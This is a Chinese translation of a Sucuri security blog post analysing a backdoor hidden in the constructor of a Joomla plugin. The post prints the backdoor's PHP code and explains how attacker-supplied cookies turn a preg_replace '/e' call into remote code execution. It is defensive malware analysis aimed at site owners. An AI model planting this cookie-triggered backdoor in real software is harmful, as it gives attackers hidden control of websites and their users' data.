本文介紹我們?cè)贘oomla插件中發(fā)現(xiàn)的一個(gè)有趣的后門。

盡管感覺有點(diǎn)不太對(duì)勁，不過由于代碼組織良好，最開始我們沒有意識(shí)到里面包含后門。插件的代碼如下所示：

乍一看沒什么特別的，沒有代碼加密，沒有代碼混淆，也沒什么注釋，就是正常的Joomla插件代碼。

但是如果仔細(xì)研究就會(huì)發(fā)現(xiàn)，類的構(gòu)造函數(shù)不太正常：

public function __construct() {

$filter = JRequest::getString('p3', Null, 'cookie');

if ($filter) {

$option = $filter(JRequest::getString('p2', Null, 'cookie'));

$auth = $filter(JRequest::getString('p1', Null, 'cookie'));

$option("/123/e",$auth,123);

die();

}

}

第一個(gè)真正可疑的是代碼結(jié)尾處的die();，該函數(shù)會(huì)終止腳本的執(zhí)行，放在Joomla插件中，表示該函數(shù)會(huì)終止Joomla的執(zhí)行。插件不應(yīng)該這么做，特別是在初始化階段。

另外，讀者可能已經(jīng)注意到了字符串“/123/e”，類似于許多基于preg_replace的后門中“eval”標(biāo)記的正則表達(dá)式匹配模式。這么一看就會(huì)發(fā)現(xiàn)，如果用preg_replace替換掉$option，恰好得到一句經(jīng)典的gre_replace后門代碼：

preg_replace("/123/e", $auth, 123);

123總是與123匹配，所以這段代碼總是會(huì)取得$auth變量的值，不管這個(gè)值是什么。

為了使該假設(shè)變成真，$option應(yīng)該等價(jià)于“preg_replace”，$auth應(yīng)該包含PHP功能代碼。那么這種想法是否可行呢?我們可以看到這兩個(gè)變量都是用cookie值填充的，所以，是的，這種想法是可行的。

通過分析代碼可以看到該后門以如下方式運(yùn)行：

1，Joomla中啟用該插件后，會(huì)在每個(gè)頁(yè)面加載，因此插件的類的構(gòu)造函數(shù)總能得到執(zhí)行。

2，攻擊者可以通過設(shè)置以下cookie請(qǐng)求網(wǎng)站的任意頁(yè)面：

p3 - 該變量觸發(fā)后門執(zhí)行，如果沒有該變量，Joomla會(huì)正常執(zhí)行。

p2 - 該變量的值應(yīng)該設(shè)置為“preg_replace”、

p1 - 任意PHP功能代碼

整個(gè)插件都是惡意代碼嗎

我之前的文章中提到，惡意代碼被植入到Wordpress插件后被重新打包成盜版商業(yè)插件，但與此不同的是，本文提到的Joomla插件看起來(lái)不像是站長(zhǎng)從某個(gè)小網(wǎng)站弄來(lái)的，該插件名為InstantSuggest，是一款免費(fèi)插件，并不怎么流行(下載量小于400)。其官方代碼中不包含__construct()函數(shù)。

可以看到源碼中的漏洞已經(jīng)補(bǔ)上了，因此最有可能的情況是黑客黑進(jìn)該站點(diǎn)后添加了這個(gè)后門。事實(shí)上我們也是在一個(gè)被黑網(wǎng)站上發(fā)現(xiàn)這個(gè)后門的(這個(gè)沒什么可驚喜的，我們的大部分工作都是與被黑站點(diǎn)打交道)。

另外，黑客不是僅僅將后門注入到某個(gè)插件中，而是安裝到某個(gè)已經(jīng)打過補(bǔ)丁的插件里，這樣看起不可疑，也不會(huì)破壞任何東西。這比修改網(wǎng)站中現(xiàn)有的文件要容易一些，因?yàn)樾薷木W(wǎng)站現(xiàn)有文件時(shí)有時(shí)候可能會(huì)會(huì)破壞網(wǎng)站，因此需要更復(fù)雜的injector。

為證明這一假設(shè)，我們搜索了網(wǎng)絡(luò)中包含該后門代碼的網(wǎng)站，發(fā)現(xiàn)幾乎全都包含在instantsuggest代碼中——我不相信所有這些網(wǎng)站都是主動(dòng)安裝了這個(gè)不知名的插件。另外，這段惡意代碼也被用在了Joomla上下文之外，將Joomla API請(qǐng)求替換為簡(jiǎn)單的@$_COOKIE調(diào)用(可參考cPanel論壇)。即使在這些案例中，其仍然被包含在instantsuggest代碼中——這么做只是為了使后門看起來(lái)不那么可疑。

To 站長(zhǎng)：

如讀者所見，黑客可以可很容易將后門隱藏在我們的眼皮底下，當(dāng)人工審查代碼時(shí)很難將其辨識(shí)出來(lái)，特別是像Joomla這種包含上千個(gè)文件的系統(tǒng)，安全掃描器也可能無(wú)法識(shí)別這種不常見的后門。檢測(cè)這種后門唯一可靠的方法就是完整性控制，當(dāng)檢測(cè)到文件被修改時(shí)提供向站長(zhǎng)提供警報(bào)，使站長(zhǎng)可以立即解決可能產(chǎn)生的問題。許多版本控制系統(tǒng)可以完成這種工作 ，如果讀者啟用我們的Sucuri監(jiān)控服務(wù)中的服務(wù)端掃描，也可以發(fā)現(xiàn)服務(wù)中的完整性控制功能。

還需要說明的是，通過cookie向后門中傳遞惡意代碼已經(jīng)成為趨勢(shì)，利用這種方式，黑客可以使用常規(guī)GET請(qǐng)求，這樣就不會(huì)在web服務(wù)日志分析系統(tǒng)中產(chǎn)生任何可疑操作。要檢測(cè)并阻止這種請(qǐng)求，站長(zhǎng)需要一款更高級(jí)的website防火墻解決方案。

原文地址：http://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html